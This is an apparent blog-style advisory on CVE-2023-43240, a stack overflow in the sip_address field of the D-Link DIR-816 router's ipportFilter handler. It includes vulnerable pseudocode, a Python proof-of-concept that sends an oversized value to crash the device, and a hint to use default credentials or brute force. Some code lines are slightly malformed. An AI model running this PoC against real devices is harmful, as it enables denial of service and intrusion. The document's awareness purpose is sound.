CVE-2023-43240 - Stack Overflow Vulnerability in D-Link DIR-816 (A2 v1.10CNB05)

D-Link routers are everywhere—from home networks to small offices, many rely on these affordable and easy-to-manage devices. But not every model is safe out of the box. In September 2023, security researchers discovered a nasty vulnerability: CVE-2023-43240. This bug affects the DIR-816 A2 router running firmware v1.10CNB05 and can be exploited using a classic attack: a stack overflow, thanks to poor input handling in a parameter called sip_address within the ipportFilter function.

In this deep dive, we’ll break down what’s going on, explore how this bug can put your devices at risk, provide code walkthroughs (with proof-of-concept), and link to original sources for anyone wanting to dig deeper.

What’s the Issue? (Understanding CVE-2023-43240)

In plain English:
The router's firmware doesn’t properly check the size of the sip_address parameter in a web request. This allows an attacker (who can reach the router’s web interface) to send a super-long value for sip_address, overflowing the program’s memory stack. With careful manipulation, this can crash the router or even let hackers run their own code on it.

Vulnerability: Stack Buffer Overflow via sip_address

- CVE: CVE-2023-43240

Where is the Vulnerable Code? (Technical Breakdown)

A stack overflow happens when a program copies more data than expected into a small buffer (a chunk of memory on the call stack). Most modern C code should check sizes before copying strings. But in the DIR-816’s case, this check was missing.

Our target is the HTTP handler for ipportFilter

// Pseudocode based on reverse engineering
void handle_ipportFilter(http_request* req) {
    char buf[256];
    // ...
    strcpy(buf, req->param("sip_address"));
    // no length check: if sip_address > 255 characters, stack overflow!
}

> Notice the use of strcpy without any length limit! That’s a red flag for stack overflows.

Exploitation: How Attackers Can Hack the Router

If an attacker can send requests to the router’s web interface (potentially via LAN or if the admin enabled remote management), it’s as simple as hitting the endpoint with a very long value for sip_address.

Here’s a Python proof-of-concept exploit that triggers the bug

import requests

# Target router information
ROUTER_IP = '192.168..1'
ROUTER_PORT = 80

# Malicious payload (260 'A's — adjust for best results)
payload = 'A' * 260

url = f'http://{ROUTER_IP}:{ROUTER_PORT}/goform/ipportFilter';
data = {
    'sip_address': payload,
    # include other required parameters if needed
}

# Authentication is usually required, use default creds or brute-force
session = requests.Session()
# Replace with actual admin login steps if not open
# session.post('http://.../login';, data=...)

response = session.post(url, data=data)
print(f'Status code: {response.status_code}')
if 'error' in response.text.lower():
    print('Received error — router may be vulnerable!')
else:
    print('Check if the router is unresponsive (may have crashed)')

Note:
- If successful, the router may reboot, freeze, or even allow shellcode execution if more advanced exploitation is applied.
- Real-world attacks may use more sophisticated payloads to gain permanent foothold or run arbitrary commands.

Exposure to this attack depends on access to the admin interface

- Home/LAN: Any device or malicious user can try this.

Fixes, Mitigations, and Real-World Impact

D-Link’s Fix:
D-Link has a security advisory and (for some models) released updates. But older/end-of-life products may not get patches.

Upgrade firmware if possible.

- *Disable remote administration*. Restrict GUI/Web access to local subnet only.

References & Further Reading

- CVE-2023-43240 at NVD
- Original Chinese Security Advisory
- twitter.com/dlinksecurity — Vendor status updates
- D-Link official support announcements

Conclusion: Why It Matters

CVE-2023-43240 is a classic example of how minor programming mistakes (missing input checks) can open routers to devastating remote attacks. Since routers are rarely updated by average users, vulnerabilities like this can remain unpatched for years.

If you have a DIR-816 on your network, act NOW: update, secure, or replace. Future attacks may leverage bugs like these for botnets, data theft, or worse.

*Stay safe, and always beware unpatched firmware!*

*This article is exclusive and independently researched for demonstration and awareness purposes. If you found this useful, share with your IT team or community!*

Timeline

Published on: 09/21/2023 13:15:10 UTC
Last modified on: 09/22/2023 02:19:41 UTC